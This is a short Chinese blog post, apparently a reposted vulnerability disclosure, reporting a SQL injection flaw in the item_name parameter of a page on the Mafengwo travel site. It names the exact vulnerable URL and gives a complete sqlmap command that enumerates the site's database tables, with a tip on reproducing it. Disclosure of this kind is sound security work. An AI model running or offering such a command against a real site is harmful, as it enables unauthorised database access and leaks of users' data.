蚂蜂窝主站SQL注入漏洞 – 网站安全

蚂蜂窝主站SQL注入漏洞可致数据库信息泄露 SQLMAP 验证（仅演示取得数据表名称，仅为证明危害，不再继续深入）
漏洞位置：

http://www.mafengwo.cn/shop/mgr_item.php?act=add&item_name=lgkcaleg&item_price=1&shop_id=100597

参数item_name没有过滤
蚂蜂窝主站SQL注入漏洞 – 网站安全 – 自学php插图

SQLMAP 跑表演示

注意是用 level 5 测试的，复现漏洞时别忘了

C:\Users\Administrator>sqlmap.py -u "www.mafengwo.cn/shop/mgr_item.php?act=add&item_name=lgkcaleg&item_price=1&shop_id=100597" -p item_name --tables --dbms=mysql --technique T --level 5

蚂蜂窝主站SQL注入漏洞 – 网站安全 – 自学php插图1
蚂蜂窝主站SQL注入漏洞 – 网站安全 – 自学php插图2

修复方案：

过滤所示参数，严格控制用户输入

本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了，原文地址《蚂蜂窝主站SQL注入漏洞 – 网站安全 – 自学php》